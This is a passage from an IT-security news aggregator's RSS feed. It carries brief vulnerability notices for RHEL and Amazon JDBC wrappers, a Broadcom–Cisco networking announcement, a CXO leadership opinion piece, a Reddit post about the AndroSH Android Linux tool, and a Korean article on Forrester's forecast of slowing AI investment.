<title><![CDATA[[UPDATE] [mittel] Red Hat Enterprise Linux (nodejs, perl): Mehrere Schwachstellen]]></title>
<description><![CDATA[Ein lokaler oder entfernter authentisierter Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um beliebigen Code auszuführen oder andere nicht spezifizierte Effekte zu verursachen.]]></description>
<link>https://tsecurity.de/de/3096016/it-security-nachrichten/update-mittel-red-hat-enterprise-linux-nodejs-perl-mehrere-schwachstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3096016/it-security-nachrichten/update-mittel-red-hat-enterprise-linux-nodejs-perl-mehrere-schwachstellen/</guid>
<pubDate>Thu, 13 Nov 2025 12:39:04 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein lokaler oder entfernter authentisierter Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um beliebigen Code auszuführen oder andere nicht spezifizierte Effekte zu verursachen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Broadcom introduces standards-based fabric, Cisco integration with VCF]]></title>
<description><![CDATA[Broadcom has announced standards-based network updates to help customers build and extend modern private clouds, as well as a Cisco partnership designed to simplify operations and improve interoperability in those environments.



Broadcom is expanding its open hardware certification program to i...]]></description>
<link>https://tsecurity.de/de/3094568/it-security-nachrichten/broadcom-introduces-standards-based-fabric-cisco-integration-with-vcf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3094568/it-security-nachrichten/broadcom-introduces-standards-based-fabric-cisco-integration-with-vcf/</guid>
<pubDate>Wed, 12 Nov 2025 21:19:41 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.networkworld.com/article/4003371/broadcom-grows-revenues-by-20-following-vmware-purchase-as-customers-fume-about-subscription-costs.html" target="_blank">Broadcom</a> has announced standards-based network updates to help customers build and extend modern private clouds, as well as a Cisco partnership designed to simplify operations and improve interoperability in those environments.</p>



<p>Broadcom is expanding its open hardware certification program to increase participation and streamlining its certification process to help customers adopt next-generation CPU, GPU, and accelerator technologies. The company is also announcing support for <a href="https://www.networkworld.com/article/2505481/broadcom-bolsters-vmware-edge-compute-stack.html" target="_blank">edge-optimized nodes</a> for rugged, compact servers in industrial, defense, retail, and other remote site applications, according to a <a href="https://www.broadcom.com/company/news/product-releases/63666" target="_blank" rel="noreferrer noopener">statement</a>.</p>



<p>The integration with Cisco and its Nexus platform will deliver a unified fabric and improved networking capabilities for Broadcom’s <a href="https://www.networkworld.com/article/4008384/broadcom-resets-private-cloud-strategy-with-vmware-cloud-foundation-9-0.html" target="_blank">VMware Cloud Foundation</a> (VCF) for customers using Cisco in their networking environments.</p>



<p>“Broadcom is taking a lead here in terms of unifying all of these various networking fabrics so they can truly incorporate using standards-based technology, which is BGP and EVPN, which is the market,” said <a href="https://www.linkedin.com/in/prashanthshenoy/">Prashanth Shenoy</a>, CMO and vice president of marketing for the VMware Cloud Foundation (VCF) Division at Broadcom, during a press briefing. “We truly believe that it will drastically simplify networking operations in the modern, private cloud world, and this unified standards-based fabric approach will also enhance interoperability between the application environment and the underlying network infrastructure, providing that cloud-like simplicity that our customers really, really require.”</p>



<p>Broadcom explained its strategy to use Ethernet VPN (EVPN) and Border Gateway Protocol (BGP) networking to enhance interoperability between application environments and the network. The strategy is based on the standards EVPN and BGP: EVPN extends Layer 2 Ethernet connectivity across a Layer 3 network, such as MPLS or IP, which integrates different control planes and simplifies network management; and BGP which enables capabilities such as network redundancy and traffic management.</p>



<p>Broadcom said its standards approach will help enterprises overcome the challenges associated with adopting AI at scale, which can intensify the requirements for performance, security, and resiliency. “Doing that, we truly believe that it will drastically simplify networking operations in the modern, private cloud world, and this unified standards-based fabric approach will also enhance interoperability between the application environment and the underlying network infrastructure, providing that cloud-like simplicity that our customers really, really require,” Shenoy said.</p>



<p>The partnership aligns VCF with <a href="https://www.cisco.com/c/en/us/products/collateral/networking/ios-nx-os-software/nx-os/fabric-experience-so.html" target="_blank" rel="noreferrer noopener">Cisco’s Nexus One fabric</a>, which implements a standard-based <a href="https://www.cisco.com/c/dam/en/us/td/docs/switches/datacenter/nexus9000/sw/vxlan_evpn/VXLAN_EVPN.pdf" target="_blank" rel="noreferrer noopener">VXLAN EVPN</a> control and data planes. The integration will create “more ingrained visibility for the network admin so that they can rapidly deploy and scale the networking environment for the modern, private cloud platform,” according to Shenoy. Broadcom says customers will benefit from virtual private cloud (VPC) protection, consistent network operations, routing, and visibility across VCF Networking domains and third-party networking solutions.</p>



<p>Cisco recently began shipping an integrated <a href="https://www.networkworld.com/article/4039099/cisco-strengthens-ai-networking-story.html">Nexus Dashboard</a> that will let customers see and manage its Application Centric Infrastructure and Nexus NX-OS VXLAN EVPN fabrics with unified data, control, and policy enforcement. The dashboard will allow customers to consolidate and control AI, LAN, SAN, and Cisco IP Fabric for Media (IPFM) systems from a single pane of glass. </p>



<p>“Cisco’s foundational work in VXLAN EVPN, backed by the industry’s most comprehensive IETF standards authorship, reflects our long-standing commitment to open networking,” said <a href="https://www.linkedin.com/in/muraligandluru/" target="_blank" rel="noreferrer noopener">Murali Gandluru</a>, vice president of data center networking at Cisco, in a <a href="https://www.broadcom.com/company/news/product-releases/63666" target="_blank" rel="noreferrer noopener">statement</a>. “This collaboration with Broadcom demonstrates our shared commitment to open standards—giving our customers architectural flexibility and choice as they connect, protect, and scale both AI and traditional, business-critical workloads.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CXO 3.0 How intelligent leadership will redefine enterprise value]]></title>
<description><![CDATA[The leadership reckoning: CXO 3.0 begins



The balance sheet has a new line item: leadership intelligence. Boards now recognize that enterprise valuation depends on the collective capacity of CXO 3.0 leaders to architect confidence and compound growth.



Digital got us airborne. And transformat...]]></description>
<link>https://tsecurity.de/de/3093511/it-security-nachrichten/cxo-30-how-intelligent-leadership-will-redefine-enterprise-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3093511/it-security-nachrichten/cxo-30-how-intelligent-leadership-will-redefine-enterprise-value/</guid>
<pubDate>Wed, 12 Nov 2025 12:22:10 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">The leadership reckoning: CXO 3.0 begins</h2>



<p>The balance sheet has a new line item: leadership intelligence. Boards now recognize that enterprise valuation depends on the collective capacity of CXO 3.0 leaders to <a href="https://www.sciencedirect.com/science/article/pii/S0148296322002727" target="_blank" rel="nofollow">architect confidence and compound growth</a>.</p>



<p>Digital got us airborne. And transformation moved workloads to the cloud. But CXO 3.0 decides who stays aloft and turns them into systems of capital, trust and intelligence.</p>



<p>For nearly two decades, enterprises have invested trillions modernizing systems, automating processes and migrating to the cloud. Those investments delivered efficiency, scale and speed — but not necessarily advantage. Today, technology has become table stakes; differentiation now comes from how intelligently an organization orchestrates its capital, trust and cognition.</p>



<p>We’ve entered a new inflection point — a moment where technology is no longer a strategy, but the <em>substrate</em> of enterprise value itself. Boards and investors no longer ask <em>what</em> technology an organization uses; they ask how fast it learns, adapts and compounds value from it.</p>



<p>This shift demands a new class of leadership: One that doesn’t just manage silos but architect systems of intelligence. Welcome to the CXO 3.0 era, the operating system for the intelligent enterprise.</p>



<h2 class="wp-block-heading">From digitization to intelligence: A framework for future-proof leadership</h2>



<p>The <strong>Future-Proof CXO Framework</strong> defines eight transformative dimensions that separate yesterday’s digital leaders from tomorrow’s intelligent enterprises:</p>



<ol class="wp-block-list">
<li><strong>From digitization → intelligence</strong>. Move beyond automation to architect AI-native decision systems that learn continuously.</li>



<li><strong>From transformation → value realization</strong>. End project-based thinking and operationalize value flows that show direct impact on EBITDA and capital velocity.</li>



<li><strong>From silos → systems thinking</strong>. Integrate business, data and technology into a <a href="https://arxiv.org/abs/2307.11895" target="_blank" rel="nofollow">self-correcting enterprise DNA</a>.</li>



<li><strong>From hierarchy → gravity leadership.</strong> Shift from authority-based control to influence anchored in impact and strategic center of gravity.</li>



<li><strong>From cost center → capital engine</strong>. Treat technology as equity, not expense; build platform economies that multiply capital returns.</li>



<li><strong>From control → trust fabric</strong>. Embed ethics and AI governance to create resilient reputation systems that <a href="https://sloanreview.mit.edu/projects/leaderships-digital-transformation/" target="_blank" rel="nofollow">sustain investor confidence</a>.</li>



<li><strong>From cloud → convergence</strong>. Unite AI, blockchain, quantum and edge as a single cognitive substrate for resilience and speed.</li>



<li><strong>From execution → intelligence-as-a-core</strong>. Institutionalize enterprise memory and learning velocity as the true currency of competitive advantage.</li>
</ol>



<p>These eight shifts define the architecture of leadership for a new world where data moves faster than decisions and where intelligence is the new balance sheet asset.</p>



<h2 class="wp-block-heading">The CXO 3.0 leadership mesh: A new mandate for enterprise leadership</h2>



<p>In the CXO 3.0 era, leadership is no longer about managing a function: it’s about shaping how the enterprise thinks, learns and creates value. Every CXO is now part of a connected leadership network that steers intelligence, trust and capital in one direction.</p>



<p>This evolution isn’t about titles. It’s about how leaders create confidence and measurable enterprise impact. Tomorrow’s C-suites will not compete on efficiency but on how intelligently they connect strategy, technology and capital to move the business and organization forward.</p>



<p>Each leader becomes both architect and amplifier in their own functional domain — building systems that learn, adapt and scale value. The C-Suite itself evolves from a table of titles into a <a href="https://www.sciencedirect.com/science/article/pii/S0001691825002768" target="_blank" rel="nofollow">mesh of shared intelligence</a>, where collaboration, transparency and trust form the foundation of growth.</p>



<p>Boards and investors will increasingly measure leadership not by organizational scope but by how effectively it turns intelligence into advantage. The central question is no longer “Who owns what?” but “How fast can we learn, adapt and grow — together?”</p>



<p>This is the new and true leadership mesh: an interconnected system where every executive contributes to enterprise resilience and capital momentum through shared governance and intelligent alignment.</p>



<ul class="wp-block-list">
<li><strong>CIO 3.0 → </strong>Architect of Intelligent Enterprise</li>



<li><strong>CTO 3.0 → </strong>Orchestrator of Converged Systems</li>



<li><strong>COO 3.0 → </strong>Engineer of Adaptive Operations</li>



<li><strong>CFO 3.0 → </strong>Custodian of AI Economics &amp; Digital Capital</li>



<li><strong>CRO 3.0 → </strong>Guardian of Risk Intelligence</li>



<li><strong>CDAO 3.0 → </strong>Curator of Data-to-Value Pipelines</li>



<li><strong>CMO 3.0 → </strong>Designer of Cognitive Trust Journeys</li>



<li><strong>CHRO/CPO 3.0 → </strong>Builder of Human-AI Synergy</li>



<li><strong>CISO 3.0 → </strong>Protector of Digital Integrity &amp; Ethical AI</li>



<li><strong>Emerging CXO Roles:</strong> Chief Quantum Officer, Chief Trust &amp; Ethics Officer</li>
</ul>



<h2 class="wp-block-heading">Why should boards and investors care?</h2>



<p>Boards have long measured performance in financial terms — revenue, profit, margin, growth. Yet the modern enterprise creates and destroys value through its architecture of intelligence.</p>



<p>The new boardroom conversation is less about transformation roadmaps and more about <em>architectures of confidence</em>. Investors want to see evidence that leaders can translate AI, data, cloud spend and automation into capital efficiency, innovation velocity and trust sustainability.</p>



<p>They will fund architectures that move the balance sheet, and not projects that modernize the infrastructure. In the same way CFOs once standardized financial reporting and CIOs standardized technology platforms, the emerging CXO 3.0 mandate is to standardize how the organization learns and creates value at scale.</p>



<p>As one investor recently put it in a board meeting I attended, “We don’t fund digital projects anymore — we fund architectures that compound confidence.” That sentiment is fast becoming universal.</p>



<p>The next valuation multiple won’t be based on revenue run rate; it will be based on <a href="https://bmchealthservres.biomedcentral.com/articles/10.1186/s12913-025-12283-x" target="_blank" rel="nofollow">intelligence run rate</a>: The speed at which an organization can convert learning into monetizable advantage.</p>



<h2 class="wp-block-heading">Strategic gravity: The leadership equation</h2>



<p>I define strategic gravity as the force that pulls innovation, capital and trust into alignment. It’s the invisible physics of the modern enterprise and the core leadership competency of the CXO 3.0 generation.</p>



<p>The equation is simple yet profound:</p>



<p><strong>“<em>Technology × Capital × Trust = Enterprise Gravity”</em></strong></p>



<p>Technology provides the infrastructure of speed. Capital provides the resources for scale. And Trust provides the permission to lead.</p>



<p>When these three forces align, they create strategic gravity — a magnetic pull that accelerates innovation, anchors governance and sustains confidence in markets and boards alike.</p>



<p>CXO 3.0 leaders understand that their true currency is not technology itself but how that technology builds trust and capital momentum. They don’t simply automate processes; they design systems that learn from every interaction and convert that learning into value.</p>



<h2 class="wp-block-heading">The era of architected confidence has begun</h2>



<p>Tomorrow’s boardrooms won’t ask for ten more roadmaps. They’ll ask one simple question: “Can you architect confidence at enterprise scale?”</p>



<p>Confidence is now the scarcest commodity in business. Markets move on belief, and belief is built through evidence — not announcements.</p>



<p>CXO 3.0 leaders will win not by promising digital futures but by demonstrating measurable intelligence outcomes.</p>



<p>They understand that the enterprise is a living system, where every algorithm, workflow and interaction either compounds trust or erodes it. Their mission is to make the organization learn faster than the market changes and to turn that learning into sustained enterprise value.</p>



<h2 class="wp-block-heading">Building the ‘FutureProof CXO Operating System’</h2>



<p>So, what does this look like in practice? Across industries, we see leading enterprises building what I call the <strong>FutureProof CXO Operating System</strong> — a governance and execution model that aligns strategy, data and culture around intelligence-driven value creation.</p>



<p>Key traits of this operating system include:</p>



<ul class="wp-block-list">
<li><strong>Systemic clarity.</strong> Architectures are designed for learning loops: each decision feeds data back into the system to refine future decisions.</li>



<li><strong>Adaptive governance.</strong> Policies and controls evolve as fast as technology, anchoring innovation in trust.</li>



<li><strong>Capital velocity.</strong> Technology investments are treated as strategic assets that amplify balance-sheet value.</li>



<li><strong>Collaborative gravity.</strong> Leadership networks are rewarded for outcomes that span functions, not for defending silos.</li>



<li><strong>Ethical resilience.</strong> AI and automation are governed through transparency and human oversight, building long-term stakeholder confidence.</li>
</ul>



<p>These traits transform leadership from a hierarchy of decisions into an ecosystem of intelligence. In this new CXO 3.0 world, a C-Suite doesn’t just approve budgets — it architects belief.</p>



<h2 class="wp-block-heading">The boardroom mandate: Measure intelligence as an asset</h2>



<p>If we accept that data is the new oil and AI is the new electricity, then intelligence is the new capital in this era of computing and economy. Boards must begin to measure and govern it accordingly.</p>



<p>Imagine a future where quarterly reports include metrics like:</p>



<ul class="wp-block-list">
<li><strong>Learning velocity</strong>. How quickly does the organization improve its own decisions?</li>



<li><strong>Trust index.</strong> How resilient is our ethical and data-governance fabric?</li>



<li><strong>Capital conversion rate.</strong> How efficiently do we turn technology investment into balance-sheet value?</li>
</ul>



<p>These are not soft metrics — they will be the hard currency of confidence in AI-driven markets. Enterprises that build this reporting discipline early will command higher multiples, lower risk premiums and stronger stakeholder trust.</p>



<h2 class="wp-block-heading">A closing reflection: Is your leadership future-proof or past-dependent?</h2>



<p>The CXO 3.0 era is not about upgrading titles; it’s about upgrading the leadership operating system. It asks every executive to move from function management to system mastery, and from reacting to reinventing.</p>



<p>The C-Suites that will define the next decade are those that treat intelligence as a strategic asset, trust as a design principle and capital as an engine of learning.</p>



<p>In the end, <strong>CXO 3.0</strong> is not just a concept: it’s a call to lead differently. Because in a world defined by intelligent convergence, the organizations that win will not simply adopt technology; they will architect confidence<strong>.</strong></p>



<p>As boards look across the table, one question now defines the decade ahead: Is our leadership operating at CXO 3.0? Or still running on a legacy mindset?</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.<br><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-12967 | Amazon JDBC Wrapper up to 2.6.4 Relational Database Service externally-controlled input to select classes or code (GHSA-7wq2-32h4-9hc9)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in Amazon JDBC Wrapper, Go Wrapper, NodeJS Wrapper, Python Wrapper and ODBC driver up to 2.6.4. The impacted element is an unknown function of the component Relational Database Service. Executing manipulation can lead to use of externally-...]]></description>
<link>https://tsecurity.de/de/3090770/sicherheitsluecken/cve-2025-12967-amazon-jdbc-wrapper-up-to-264-relational-database-service-externally-controlled-input-to-select-classes-or-code-ghsa-7wq2-32h4-9hc9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3090770/sicherheitsluecken/cve-2025-12967-amazon-jdbc-wrapper-up-to-264-relational-database-service-externally-controlled-input-to-select-classes-or-code-ghsa-7wq2-32h4-9hc9/</guid>
<pubDate>Tue, 11 Nov 2025 05:39:51 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/?kb.risk">critical</a> has been identified in <a href="https://vuldb.com/?product.amazon:jdbc_wrapper">Amazon JDBC Wrapper, Go Wrapper, NodeJS Wrapper, Python Wrapper and ODBC driver up to 2.6.4</a>. The impacted element is an unknown function of the component <em>Relational Database Service</em>. Executing manipulation can lead to use of externally-controlled input to select classes or code.

This vulnerability is handled as <a href="https://vuldb.com/?source_cve.331757">CVE-2025-12967</a>. The attack can be executed remotely. There is not any exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[AndroSH - Professional Multi-Distribution Linux Environments for Android]]></title>
<description><![CDATA[I've built AndroSH - a professional-grade tool that deploys isolated Linux distributions on Android devices with elevated privileges through Android's Shizuku service, providing root-level access within Linux environments without requiring device rooting. Technical Implementation AndroSH uses a s...]]></description>
<link>https://tsecurity.de/de/3087768/linux-tipps/androsh-professional-multi-distribution-linux-environments-for-android/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3087768/linux-tipps/androsh-professional-multi-distribution-linux-environments-for-android/</guid>
<pubDate>Sun, 09 Nov 2025 03:39:17 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've built AndroSH - a professional-grade tool that deploys isolated Linux distributions on Android devices with elevated privileges through Android's Shizuku service, providing root-level access within Linux environments without requiring device rooting.</p> <h2>Technical Implementation</h2> <p>AndroSH uses a sophisticated architecture: - <strong>Shizuku Integration</strong>: Leverages Android's Shizuku API for ADB-like system permissions - <strong>proot Virtualization</strong>: Creates isolated Linux environments with root privileges - <strong>SQLite-Backed Management</strong>: Professional environment tracking and session management - <strong>Multi-Distribution Support</strong>: Alpine, Debian, Ubuntu, and Kali NetHunter</p> <h2>Professional Use Cases</h2> <p>```bash</p> <h1>Development Environment</h1> <p>androsh setup dev --distro debian --type stable androsh launch dev root@localhost:~# apt install build-essential git python3 nodejs</p> <h1>Security Research</h1> <p>androsh setup research --distro kali-nethunter --type minimal<br> androsh launch research root@localhost:~# apt install nmap wireshark python3-pip ```</p> <h2>Key Differentiators</h2> <ul> <li><strong>Root-Level Linux Access</strong>: Full root privileges within containerized environments</li> <li><strong>Zero Device Modification</strong>: No bootloader unlocking or system partitioning required</li> <li><strong>Android System Integration</strong>: Execute Android commands (<code>pm</code>, <code>getprop</code>) from Linux shells</li> <li><strong>Enterprise-Grade Management</strong>: Database-driven environment tracking and recovery</li> </ul> <h2>Technical Requirements</h2> <ul> <li>Android device with Shizuku service</li> <li>Python 3.8+ environment (Termux recommended)</li> <li>2GB+ storage for distribution images</li> </ul> <p>This project addresses the gap between mobile convenience and professional Linux tooling, particularly useful for developers, security researchers, and system administrators who need reliable Linux environments on Android devices.</p> <p><a href="https://github.com/ahmed-alnassif/AndroSH">GitHub Repository</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Mr_ShadowSyntax"> /u/Mr_ShadowSyntax </a> <br> <span><a href="https://i.redd.it/mlo9rro4750g1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1os7nep/androsh_professional_multidistribution_linux/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[포레스터 “AI 투자 둔화 불가피···수익성 한계 드러나”]]></title>
<description><![CDATA[IT 시장분석기업 포레스터는 대부분의 기업이 아직까지 AI 투자가 실질적인 수익 개선으로 이어지는 효과를 확인하지 못하고 있다고 분석했다. 이에 따라 향후 1년 내 다수의 기업이 AI 예산을 재검토할 가능성이 높다고 내다봤다.



포레스터는 많은 기업이 투자수익률(ROI)을 확인하지 못해 계획된 AI 지출의 4분의 1을 2027년까지 연기할 것으로 전망했다. 포레스터 조사에 따르면, 지난 1년간 AI 관련 수익이 증가했다고 답한 AI 의사결정자는 전체의 15%에 불과했다. AI가 매출 증가에 기여했다고 답한 비율도 3분의 1...]]></description>
<link>https://tsecurity.de/de/3084705/it-security-nachrichten/ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3084705/it-security-nachrichten/ai/</guid>
<pubDate>Fri, 07 Nov 2025 07:18:12 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>IT 시장분석기업 포레스터는 대부분의 기업이 아직까지 AI 투자가 실질적인 수익 개선으로 이어지는 효과를 확인하지 못하고 있다고 분석했다. 이에 따라 향후 1년 내 다수의 기업이 AI 예산을 재검토할 가능성이 높다고 내다봤다.</p>



<p>포레스터는 많은 기업이 투자수익률(ROI)을 확인하지 못해 계획된 AI 지출의 4분의 1을 2027년까지 연기할 것으로 전망했다. 포레스터 조사에 따르면, 지난 1년간 AI 관련 수익이 증가했다고 답한 AI 의사결정자는 전체의 15%에 불과했다. AI가 매출 증가에 기여했다고 답한 비율도 3분의 1을 밑돌았다.</p>



<p>포레스터 분석진은 “AI 벤더가 내세운 과도한 약속과 기업이 실제로 얻은 가치 사이의 괴리가 시장 조정을 불러올 것”이라며 “현명한 구매자는 이 같은 공급 측의 불안정을 기회로 삼아 AI 비용 구조를 조정하고, 실질적인 수익성과 성장에 초점을 맞춰야 한다”라고 밝혔다.</p>



<p>포레스터 신기술 담당 부사장 브라이언 홉킨스는 최근 많은 CIO들이 AI 프로젝트의 ROI 부족에 대한 우려를 드러내고 있다고 전했다. 그는 “AI가 효율성 향상에는 도움을 주고 있지만, 직원이 이메일 작성 시간을 15분 절약한다고 해서 기업의 순이익이 개선된다고 보기는 어렵다”라고 말했다.</p>



<p>홉킨스는 “기업들이 개별 작업 단위의 효율성을 전사적인 프로세스 효율로 전환하지 못하고 있어, 매출 측면의 개선 효과를 보지 못하고 있다”라며 “그렇다고 이들이 AI의 혜택을 얻지 못하고 있는 것일까, 아니면 단지 그들이 얻고 있는 가치를 정확히 측정하지 못하고 있는 것일까”라고 반문했다.</p>



<p>그는 특히 포레스터의 주요 고객군인 금융·헬스케어 산업에서 절반가량의 조직이 2026년 예정된 AI 예산 집행을 미룰 것으로 예상했다.</p>



<p>홉킨스는 “경영진의 압박으로 AI 프로젝트를 서둘러 추진한 CIO들이 대형 AI 플랫폼 투자에 회의적인 시각을 보이고 있다”라고 설명했다.</p>



<p>그는 한 CIO와의 최근 대화를 언급하며 “그 CIO는 ‘이 플랫폼이 실제로 가치를 만들어낼까, 아니면 그저 기다려야 할까’라는 고민을 털어놓았다”라며 “이처럼 대규모 플랫폼 투자가 이어지는 가운데, 기대한 가치가 실현되지 않으면 AI 예산은 결국 삭감될 것”이라고 말했다.</p>



<h2 class="wp-block-heading">버블이다 VS 조정 국면이다</h2>



<p>일부 전문가는 AI 시장의 버블이 형성되고 있다고 보지만, 또 다른 시각에서는 단순한 조정 국면으로 판단하고 있다. 포레스터의 전망에 동의하는 일부 AI 전문가들은 시장 재조정이 곧 다가올 것으로 보고 있다. 마이크로소프트(Microsoft) 창립자 빌 게이츠 역시 최근 AI 버블의 존재 가능성을 언급했으며, 업계 관찰자들 역시 AI 열풍이 다소 식어가고 있다고 평가했다. 다만, 대부분의 전문가는 가까운 시일 내 버블이 ‘붕괴’할 것으로 보지는 않지만, 거품이 서서히 빠지는 단계에 접어들었다는 데는 의견을 같이하고 있다.</p>



<p>반면 단기적으로 AI 투자가 둔화될 조짐은 거의 없다는 분석도 있다. 마케팅용 AI 및 데이터 플랫폼을 제공하는 하이타치(Hightouch)의 최고마케팅책임자(CMO) 브라이언 콧릴라는 “AI 지출이 줄어드는 신호는 보이지 않는다”라며 “기업들이 단지 AI 예산을 어디에 사용할지 더 신중하게 따지고 있을 뿐”이라고 말했다.</p>



<p>그는 “AI를 이해하고 활용하는 수준이 빠르게 고도화되고 있다”라며 “AI의 효과를 극대화하기 위해 투자해야 한다는 긴박감은 여전하지만, 초기 실험 단계 때보다 구매 기준이 훨씬 성숙하고 엄격해졌다”라고 설명했다.</p>



<p>다만 콧릴라는 시장 조정이 언젠가 일어날 가능성을 배제하지 않았다. 그는 1630년대 네덜란드의 ‘튤립 투기 열풍’을 언급하며 “AI 역시 노동 보조나 대체 측면에서 그 효용이 명확하고 부인할 수 없지만, 시장은 언제든 과열될 수 있다”라며 “당시 암스테르담에서는 튤립 한 송이로 집 한 채를 살 수 있을 정도로 광풍이 불었다”라고 말했다.</p>



<p>그는 이어 “AI는 지금 이 순간에도, 추가적인 기술 발전이 없더라도 이미 많은 가치를 창출하고 있다”라며 “이 기술은 결코 사라지지 않을 것”이라고 강조했다.</p>



<h2 class="wp-block-heading">투자 조정의 가능성</h2>



<p>한편 다른 전문가들은 기업들이 실험적인 AI 프로젝트에서 벗어나 실제 수익 창출이 가능한 프로젝트에 집중하면서, AI 투자가 점진적으로 둔화될 수 있다고 전망했다.</p>



<p>IT 컨설팅 기업 트리네틱스(Trinetix)의 최고기술책임자(CTO) 샘 페리세(Sam Ferrise)는 “일부 기업은 AI 도구의 정확도가 기대에 미치지 못하고, 또 다른 기업은 데이터 접근성이나 구조화 수준이 낮아 성과를 내지 못하고 있다”라고 지적했다. 그는 “기업들은 AI의 정확도와 성능에 대한 기대가 자신들의 투자 규모와 항상 일치하지 않는다는 점을 깨닫고 있다”라며 “투자 수준과 활용 사례에 맞게 기대치를 조정하는 것이 핵심”이라고 말했다.</p>



<p>그는 또한 “AI를 도입한 기업들이 개인정보 보호나 보안 문제로 어려움을 겪는 경우도 많다”라며 “ROI가 명확한 사례를 검증하더라도, 실제 운영 단계로 전환하기 전에는 보안과 안정성을 강화해야 한다는 점을 뒤늦게 인식하는 경우가 많다”라고 덧붙였다. 따라서 “이 두 요소가 맞물리지 않으면 기업이 투자를 일시 중단하거나 지연시키는 것은 자연스러운 현상”이라고 설명했다.</p>



<p>페리세는 “버블 붕괴 시나리오는 다소 과장된 시각일 수 있지만, 전혀 불가능한 일은 아니다”라며 “기업들이 교육, 규제 준수, 거버넌스 등 보이지 않는 비용을 종종 간과하고 있다”라고 말했다.</p>



<p>그는 이어 “보다 현실적인 시나리오는 시장의 ‘재조정’ 또는 ‘초기화’일 것”이라며 “기업들은 앞으로 더 적은 투자로도 높은 가치를 제공할 수 있는 AI 활용 사례에 집중하게 될 것”이라고 내다봤다.</p>



<h2 class="wp-block-heading">성과 중심의 AI 투자 전환</h2>



<p>에이전트 기반 프로페셔널 서비스 자동화 기업 로켓레인(Rocketlane)의 공동설립자이자 CEO인 스리크리슈난 가네산은 2026년에는 실험적 AI 투자가 감소할 것으로 내다봤다. 그는 “기업들이 이제는 검증된 성과를 내는 AI 프로젝트에 집중하고 있다”라며 “AI 비전을 파는 시대는 너무 오래 지속됐고, 이제는 성과 중심의 시대로 전환해야 한다”라고 말했다.</p>



<p>가네산은 “현재 많은 기업이 AI를 통해 높은 ROI를 창출하겠다고 주장하지만, 이런 과도한 기대가 결국 시장의 조정을 불러올 것”이라고 지적했다. 다만 그는 “일부 기업은 AI를 활용해 ‘근본적인 효율성(radical efficiency)’을 추구하려는 노력을 이어갈 것”이라며 “기업 내 여러 부서에 AI가 본격적으로 도입되면서 전체 AI 투자 규모는 여전히 증가할 것”이라고 덧붙였다.</p>



<p>글로벌 B2B 결제 플랫폼 트레비페이(TreviPay)의 최고제품·기술책임자(CPTO) 댄 짐머만은 “AI 사용자가 개념 증명(Proof of Concept, POC) 단계에서 실제 운영(Production) 단계로 전환하고 있다”라며 “이 과정에서 외형적인 지출 규모는 줄어들지만, 투자는 더 정교하고 효율적으로 이뤄질 것”이라고 분석했다.</p>



<p>그는 “많은 기업이 초기 AI 파일럿 프로젝트에서 실험은 많았지만, 측정 가능한 ROI가 부족했다는 점을 깨닫고 있다”라며 “이제는 성과에 초점을 맞추기 위한 필수적인 재조정 단계에 들어섰다”라고 말했다. 이어 “모두가 AI 실험에 몰두하고, 대담한 약속을 하며 시제품을 서둘러 내놓던 과도기적 열풍이 끝나가고 있다”라며 “이제는 보다 체계적이고 기술 중심적이며 실용적인 단계로 진입하고 있다”라고 설명했다.</p>



<p>짐머만은 “단순히 시연용으로 AI를 적용했던 기업들은 투자를 줄일 수 있지만, 고객 서비스나 신용 의사결정 등 핵심 업무 프로세스에 AI를 통합한 기업들은 지속적인 ROI를 확보하고 있다”라고 말했다.</p>



<p>그는 “AI는 분명히 생산성을 높이고, 기업 전반에 걸쳐 지식 접근성을 향상시키고 있다”라며 “이 부분은 자신 있게 말할 수 있다”라고 강조했다. <br>dl-ciokorea@foundryco.com</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI spending may slow down as ROI remains elusive]]></title>
